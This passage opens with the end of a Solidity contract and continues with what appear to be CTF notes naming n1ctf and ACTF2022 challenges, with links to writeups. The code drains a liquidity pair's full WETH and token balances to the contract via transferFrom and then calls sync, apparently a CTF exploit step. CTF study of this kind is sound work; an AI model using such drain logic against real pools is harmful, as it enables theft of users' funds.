        weth.transferFrom(address(pair),address(this),weth.balanceOf(address(pair)));
        erc20.transferFrom(address(pair), address(this), erc20.balanceOf(address(pair)));
        pair.sync();
    }
    receive()external payable{}
}

n1ctf

https://note.tonycrane.cc/writeups/n1ctf2022/#just-find-flag http://retr0.vip/archives/73/

Utility_Payment_Service

考查

Simple_Staking

ACTF2022